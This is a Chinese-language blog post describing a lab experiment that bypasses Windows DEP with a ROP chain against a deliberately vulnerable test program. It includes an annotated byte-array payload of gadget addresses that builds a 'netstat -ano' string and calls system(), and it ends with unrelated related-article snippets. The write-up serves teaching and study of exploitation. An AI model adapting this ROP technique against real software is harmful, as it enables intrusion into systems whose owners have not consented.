利用 ROP 技术绕过 DEP 保护的一次简单尝试
\x 01 前言
- DEP是数据执行保护的英文缩写,全称为Data Execution Prevention。数据执行保护(DEP) 是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码,在 Microsoft Windows XP ServicePack 2及以上版本的Windows中,由硬件和软件一起强制实施DEP(这个技术还是比较老的了)。自从这个技术出现以来也出现了各种各样的方法来绕过,主要的方法为构造ROP链来绕过
- 下面是百度学术上找的文章,资料太少了,主要的意思就是利用程序或者动态链接库中原有的代码(地址不变)拼凑出完整的攻击逻辑,对汇编要求较高
- 以下为ROP的主要构造方法,前两个函数的资料不好找(函数不会用),所以选最后一个,当然最后一个也进行了阉割…
\x 02 实验环境
- C-Free + Windows10 + OD
\x 03 DEP开启与关闭
- 右击我的电脑–>属性
- 如图设置完成重启之后除了1.exe其他可执行程序都会受到DEP的保护
- 在有DEP保护的程序中会出现这样的情况,首先到达函数返回点
- 返回地址为溢出覆盖的0x7FFA4512(JMP ESP)
- 单步执行一步之后到达 jmp esp,之后只需要跳到shellcode即可
- 单步执行一步,这是系统会判断 jmp 进了数据段,不可以在数据段执行代码,终止程序
\x04 示例程序
- 由于我水平低,只能弄个简单的程序,这个程序加载了一个dll(动态链接库),用于拼凑方便
- 怎么判断是否绕过了DEP呢,我将用ROP编程的方式调用system函数(简单的函数,只需要一个参数),该参数为netstat -ano
- 具体思路如下:在高位地址寻找一块空闲的区域->将参数赋值到这个空闲的区域->调用system函数
- 思路有了那么就需要在动态链接库或者程序里面找现有的语句开始拼凑了,你别说还真找到了3处有用的
- 利用 eax 和 ecx 两个操作数将参数 netstat -ano 通过 mov 语句复制到一块空闲的内存中去,最后调用函数即可,于是生成了以下的shellcode(不同的操作系统能找出的空闲地址可能不一样)
char shellcode[] = "\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" // 溢出载荷
"\x5a\x20\x50\x74" // retn 到 0x7450205a(覆盖函数返回值的地址),开始ROP编程
"\x84\x5c\x51\x74" // 将 0x74515c84 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x6e\x65\x74\x73" // 将 0x7374656e(nets) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x88\x5c\x51\x74" // 将 0x74515c88 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x74\x61\x74\x20" // 将 0x74617420(tat空格) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x5a\x20\x50\x74" // retn 到 0x7450205a 这个地址
"\x8c\x5c\x51\x74" // 将 0x74515c8c 这个值 pop 到 eax 保存
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x4b\x7b\x50\x74" // retn 到 0x74507b4b 这个地址
"\x2d\x61\x6e\x6f" // 将 0x6f6e612d(-ano) 这个值 pop 到 ecx 保存
"\x71\x20\x50\x74" // retn 到 0x74502071 这个地址,之后会将 ecx 的值赋到 eax 表示的地址(xor eax,eax这个语句没什么影响可以忽略)
"\x41\x41\x41\x41" // 填充值,用于抵消 pop ebp 的操作
"\x10\x3b\x4a\x74" // 参数 netstat -ano 的首地址,用于 system 函数的参数
"\x41\x41\x41\x41" // 用于维持函数调用的堆栈平衡,因为函数有参数,这个为一个参数,所以只需要4个字节
"\x84\x5c\x51\x74" // system 函数的地址 0x74515c84
- 逻辑图
\x 05 验证程序
- 示例程序
- 函数到了溢出点
- 此时的堆栈窗口
- 之后函数返回到0x7450205a
- 再返回到0x74507b4b
- 之后返回到0x74502071
- 观察数据窗口,参数是以4个字节连3次压入的
- 重复3次以上过程,观察数据窗口,发现system函数的参数已经赋值完毕(字符串以16进制00结尾)
- 最后调用system函数
- 堆栈窗口如下图所示,0x744a3b10 是 system 函数的地址,0x74515c84 是参数 netstat -ano 的首地址
- 成功进入 system 函数
- 验证结束,F9运行,成功运行并打印
\x 06 总结
- 在编写 shellcode 是比较容易踩的几个坑,第一个通过strcpy复制的 shellcode 中最好不要出现16进制的00,不然会被当作终止符,比如一个 shellcode:
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x00\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
- 当出现 00 字符后,00 后面的 shellcode 就不会被复制到堆栈当中,就会变成以下这个样子,原因是 strcpy 碰到 00 后就不往下复制了
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x41\x41\x41\x41
\x00\x41
- 还有一个就是 retn 返回到某一个函数调用是,ESP 会加 4 个字节,要把这 4 个字节平衡掉
利用 ROP 技术绕过 DEP 保护的一次简单尝试的更多相关文章
- JDBC 利用反射技术将查询结果封装为对象(简单ORM实现)
ORM(Object Relational Mapping)对象关系映射 public class ORMTest { public static void main(String[] args) t ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之ZwSetInformationProcess函数
1. DEP内存保护机制 1.1 DEP工作原理 分析缓冲区溢出攻击,其根源在于现代计算机对数据和代码没有明确区分这一先天缺陷,就目前来看重新去设计计算机体系结构基本上是不可能的,我们只能靠 ...
- Rop实战之利用VirtualProtect绕过DEP
CVE-2011-0065 Firefox mChannel UAF漏洞 为了实现任意代码执行,需要在mChannel对象释放后,用可控数据“占坑”填充它,因此,可在onChannelRedirect ...
- safeseh+dep保护绕过
[文章作者] :h_one [漏洞程序名称]:mplayer.exe [漏洞类型] :缓冲区溢出 [保护方式] :safeseh+dep [操作平台] ...
- Linux下利用Ret2Libc绕过DEP
Linux下利用Ret2Libc绕过DEP ⑴. 原理分析: 系统库函数通常是不受DEP(关于DEP,可以查看我之前文章的详细介绍)保护的,所以通过将返回地址指向系统函数可以绕过DEP保护,所以可以 ...
- 使用ROP攻击绕过Windows的DEP
使用ROP攻击绕过Windows的DEP 基础知识 DEP DEP(Data Execution Prevention)意为数据执行保护,是Windows的一项安全机制,主要能够在内存上执行额外检查以 ...
- 内存保护机制及绕过方法——利用Ret2Libc绕过DEP之VirtualProtect函数
利用Ret2Libc绕过DEP之VirtualProtect函数 ⑴. 原理分析: i.相关概念: VirtualProtect()函数: BOOL WINAPI VirtualProtect( _ ...
- Linux pwn入门教程(3)——ROP技术
作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42530-1-1.html 0×00 背景 在上一篇教程的<shellco ...
- windows环境下的heap spray+stack pivot gadget 实现绕过dep
ASLR+DEP是windows平台下最为常见的两种保护手段.这两种手段使得最基础的jmp esp等手法不再适用,而单纯的堆喷也会因为堆内存不可执行而失效.那么这里就来介绍一下heap spray+s ...
随机推荐
- 关于python中的[::-1],[:,:,::-1]的反转理解
其实就是单纯的关于反转,我们只需要记住每一个列表的中间有两个冒号: 即[a: b:c],意思是从a到b,间隔是c,因为经常省略c,所以经常看到[a:b]. 一.在一维数据中的反转 import num ...
- 树莓派4b通过外接ssd硬盘启动系统失败的排查和解决
树莓派4b通过外接ssd硬盘启动系统失败,症状: 屏幕卡在黑屏或提示 mmc1:Controller never released inhibit bit(s).... 先说如何设置硬盘启动,后面是解 ...
- 使用createrepo构建本地yum仓库
rpm包安装的时候会有很多软件会出现因为其他依赖包没有,而导致安装失败的情况.一般可以连接外网的时候我们直接使用 yum 进行安装,可以为我们解决依赖包关系,但是很多工作环境下是没有外网的,内网情况下 ...
- 我与FreeBSD的故事之三
联想G400 是我在国美电器线下买的笔记本.我什么也不懂,就随便买了,不随便也不行,谁都知道只要不是那种特别的奸商,基本上货物都是符合价值决定价格这个基本的经济学规律的.所以没钱就失去了选择的自由.到 ...
- 为什么要从 Linux 迁移到 BSD3
BSD 是正常人所在的地方 首先我要说的是,我并不是字面上的意思.我这里说的是从系统管理和编码的角度出发的设计和开发决策. 与 Linux 发行版相反,Berkeley 软件发行版( BSD )并不是 ...
- External Libraries中没有Maven的jar包的原因(已解决)
**深坑!** ## External Libraries中没有Maven的jar包的原因(已解决) 2021年3月1日 --- 搭建一个新项目 IDEA 从 Git 上拉 拉去Maven项目然后 m ...
- C语言编程 菜鸟练习100题(21-30)
[练习21]计算自然数的和 0. 题目: 计算自然数的和 1. 分析: 练习使用 for 循环结构.for 循环允许一个执行指定次数的循环控制结构. 2. 程序: #include <stdio ...
- CMU15-455 Lab2 - task4 Concurrency Index -并发B+树索引算法的实现
最近在做 CMU-15-445 Database System,lab2 是需要完成一个支持并发操作的B+树,最后一部分的 Task4 是完成并发的索引这里对这部分加锁的思路和完成做一个总结,关于 B ...
- Lombok 常用注解总结
本文转载自知乎专栏 极乐科技.有所整理. 主要注解 @Data @Setter @Getter @Log4j @AllArgsConstructor @NoArgsConstructor @Equal ...
- C语言之漫谈指针(下)
C语言之漫谈指针(下) 在上节我们讲到了一些关于指针的基础知识: 详见:C语言之漫谈指针(上) 本节大纲: 零.小tips 一.字符指针 二.指针数组与数组指针 三.数组传参与指针传参 四.函数指针及 ...